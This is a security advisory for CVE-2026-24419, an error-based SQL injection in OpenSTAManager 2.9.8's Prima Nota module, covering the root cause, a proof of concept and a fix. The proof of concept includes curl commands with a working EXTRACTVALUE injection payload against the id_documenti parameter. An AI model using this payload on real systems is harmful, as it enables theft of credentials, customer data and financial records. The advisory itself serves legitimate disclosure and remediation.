📄 OpenSTAManager 2.9.8 SQL Injection

# CVE-2026-24419: OpenSTAManager has a SQL Injection in the Prima Nota  module 
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2026-24419](https://nvd.nist.gov/vuln/detail/CVE-2026-24419) |
    | **Severity** | HIGH |
    | **Advisory** | [View Advisory](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **devcode-it/openstamanager** (versions: <= 2.9.8)
    
    
    ## CWE Classification
    
    - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    
    ## Details
    
    ### Summary
    
    Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.
    
    **Status:** ✅ Confirmed and tested on live instance (v2.9.8)
    **Vulnerable Parameters:** `id_documenti` (GET parameters)
    **Affected Endpoint:** `/modules/primanota/add.php`
    **Attack Type:** Error-Based SQL Injection (IN clause)
    
    ### Details
    
    OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.
    
    **Vulnerability Chain:**
    
    1. **Entry Point:** `/modules/primanota/add.php` (Lines 63-67)
       ```php
       $id_documenti = $id_documenti ?: get('id_documenti');
       $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
       ```
       **Impact:** The `get()` function retrieves user-controlled URL parameters, `explode(',', (string) ...)` splits them by comma, but NO validation ensures elements are integers.
    
    2. **SQL Injection Point:** `/modules/primanota/add.php` (Line 306)
       ```php
       $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
       ```
       **Impact:** Array elements from `$id_documenti` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL injection. 
    
    
    **Root Cause Analysis:**
    
    The vulnerability exists because:
    1. `get('id_documenti')`  return user-controlled strings
    2. `explode(',', (string) $value)` splits by comma but doesn't validate types
    3. `implode(',', $array)` concatenates array elements directly into SQL
    4. No validation ensures array elements are integers
    5. Attacker can inject SQL by providing: `?id_documenti=1) AND EXTRACTVALUE(...) %23`
    
    **Affected Code Path:**
    ```
    GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
      ↓
    add.php:63 - $id_documenti = get('id_documenti')
      ↓
    add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
      ↓
    add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
    ```
    
    ### PoC
    
    
    **Step 1: Login**
    ```bash
    curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
      -d 'username=admin&password=admin'
    ```
    
    **Step 2: Verify Vulnerability (Error-Based SQL Injection)**
    
    **Test 1: Extract Database User and Version**
    ```bash
    curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
    ```
    
    **Response (error message visible to attacker):**
    ```html
    <code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;[email protected] | 8.3.0&#039;</code>
    ```
    <img width="1231" height="405" alt="image" src="https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64" />
    
    
    ### Impact
    
    All authenticated users with access to the Prima Nota (Journal Entry) module.
    
    
    ### Recommended Fix
    
    **Primary Fix - Type Validation:**
    
    File: `/modules/primanota/add.php`
    
    **BEFORE (Vulnerable - Lines 63-67):**
    ```php
    $id_documenti = $id_documenti ?: get('id_documenti');
    $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
    ```
    
    **AFTER (Fixed):**
    ```php
    $id_documenti = $id_documenti ?: get('id_documenti');
    $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
    // Validate that all array elements are integers
    $id_documenti = array_map('intval', $id_documenti);
    $id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
    ```
    
    ### Credits
    Discovered by Łukasz Rybak
    
    ## References
    
    - https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24419
    - https://github.com/advisories/GHSA-4j2x-jh4m-fqv6
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.